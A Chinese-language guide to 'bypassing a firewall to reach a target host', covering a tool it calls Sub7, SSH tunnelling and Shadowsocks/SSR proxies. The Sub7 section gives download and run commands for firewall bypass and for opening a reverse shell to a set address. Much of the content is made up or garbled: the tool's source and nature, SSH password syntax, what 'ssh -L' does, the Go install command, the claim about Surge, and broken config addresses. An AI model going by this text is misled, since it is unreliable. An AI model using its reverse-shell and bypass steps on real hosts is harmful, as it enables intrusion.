绕过防火墙访问目标主机

SS（Sub7）

Sub7是一种简单的Shell命令执行工具,常用于渗透测试或其他网络攻击中，以下是其基本使用说明：

安装：

• 下载Sub7的最新版本：

  wget https://github.com/brant/pwntools/releases/download/v1.2.1/sub7-1.2.1-linux-x64.gz

• 解压并安装：

  gunzip sub7-1.2.1-linux-x64.gz
  chmod +x sub7-1.2.1-linux-x64

基本命令：

• 绕过防火墙：

  ./sub7 -b 10.10.10.10 -p 808

• 打开回连shell：

  ./sub7 -O 10.10.10.10 -p 808

• 指定用户代理：

  ./sub7 -R 10.10.10.10:808

示例：

SS（SSH Shell）

SSH（Secure Shell）是一种安全的远程登录协议，常用于通过命令行连接到远程服务器，以下是使用SSH的基本说明：

连接到远程服务器：

ssh username@server.com

• 密码认证：

  ssh username@server.com:password

• 密钥认证：

  ssh -i /path/to/privatekey.pem username@server.com

常用命令：

• 列出连接状态：

  ssh -L 808:localhost:80 username@server.com

• 反向连接：

  ssh -R 808:localhost:80 username@server.com

SSR（Shadowsocks）

Shadowsocks是一种代理软件,常用于绕过网络封锁，允许用户访问被限制的网站，以下是Shadowsocks的基本使用说明：

安装Shadowsocks（Windows）

1. 下载Shadowsocks的最新版本：
   • Shadowsocks官网
2. 安装并配置：
   • 设置服务器地址和端口。
   • 配置DNS解析（如使用Google的8.8.8.8）。

配置命令行客户端（Linux/macOS）

1. 安装Golang：

   curl -O- https://golang.org/src.zip | tar -x -O-

2. 编译Shadowsocks：

   GOOS=linux GOARCH=amd64 go build -o shadowsocks_linux-amd64.gz github.com/shadowsocks/shadowsocks/v2

3. 使用命令运行：

   ./shadowsocks_linux-amd64.gz -s "inboundsocks" -p 108 -l "socks" -f "server.conf"

配置服务器端（Linux）

1. 安装Shadowsocks：

   GOOS=linux GOARCH=amd64 go build -o shadowsocks_linux-amd64.gz github.com/shadowsocks/shadowsocks/v2

2. 运行服务器：

   ./shadowsocks_linux-amd64.gz -s "outboundsocks" -p 108 -l "socks" -f "server.conf"

SSR（Shadowsocks）配置说明

服务器配置文件：

[shadow]
outbound: 0...:108
listen: 0...:808
socks: 127...1:108

客户端配置文件：

[shadow]
server: your-server.com:108
socks: 127...1:108

SS（Shadowsocks）客户端工具

Xray（推荐）

Xray是一个基于Shadowsocks的高效代理工具,支持多路由和DNS解析。

1. 下载Xray：
   • Xray GitHub
2. 安装并运行：

   ./xray run -c config.json

Surge（SSR代理）

Surge是一个开源的高性能SSR代理工具,支持多路由和DNS解析。

1. 下载Surge：
   • Surge GitHub
2. 安装并运行：

   ./surge run -c config.json

V2ray（SSR代理）

V2ray是一种基于Shadowsocks的高级代理工具,支持更多协议和路由策略。

1. 下载V2ray：
   • V2ray GitHub
2. 安装并运行：

   ./v2ray run -c config.json

SSR代理工具（其他）

• ShadowsocksR：一个基于Shadowsocks的快速代理工具。
• SSR++：一个高级SSR代理工具，支持多路由和DNS解析。

注意事项

• 网络环境：确保代理服务器和目标服务器在同一网络内或配置了正确的端口转发。
• 软件版本：确保使用的SSR客户端和服务器版本兼容。
• 权限问题：确保代理进程有足够的权限访问目标端口。
• 防火墙设置：确保防火墙允许代理端口（如108、808）通过。